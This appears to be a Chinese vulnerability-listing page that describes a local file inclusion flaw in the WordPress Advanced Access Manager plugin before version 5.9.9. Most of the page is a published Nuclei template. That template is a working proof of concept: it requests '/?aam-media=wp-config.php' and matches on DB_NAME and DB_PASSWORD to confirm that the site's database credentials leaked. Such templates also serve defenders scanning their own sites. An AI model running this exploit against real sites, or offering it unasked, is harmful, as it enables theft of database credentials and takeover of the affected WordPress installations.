advanced-access-manager-lfi: WordPress Advanced Access Manager < 5.9.9 - Local File Inclusion

日期: 2025-08-01 | 影响软件: WordPress Advanced Access Manager | POC: 已公开

漏洞描述

WordPress Advanced Access Manager versions before 5.9.9 are vulnerable to local file inclusion and allows attackers to download the wp-config.php file and get access to the database, which is publicly reachable on many servers.

PoC代码[已公开]

id: advanced-access-manager-lfi

info:
  name: WordPress Advanced Access Manager < 5.9.9 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    WordPress Advanced Access Manager versions before 5.9.9 are vulnerable to local file inclusion and allows attackers to download the wp-config.php file and get access to the database, which is publicly reachable on many servers.
  reference:
    - https://wpscan.com/vulnerability/9873
    - https://id.wordpress.org/plugins/advanced-access-manager/
    - https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,lfi,wp,accessmanager,wpscan,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?aam-media=wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022010c77fbee4cecd8031c4f860d1bbc8959a8fe3c07e44b0703918d4c706d4b2c30221008fe3980c627db99fb82e5eafc9947bfb20feca242201bc94c114228f6d6b1899:922c64590222798bb761d5b6d8e72950

相关漏洞推荐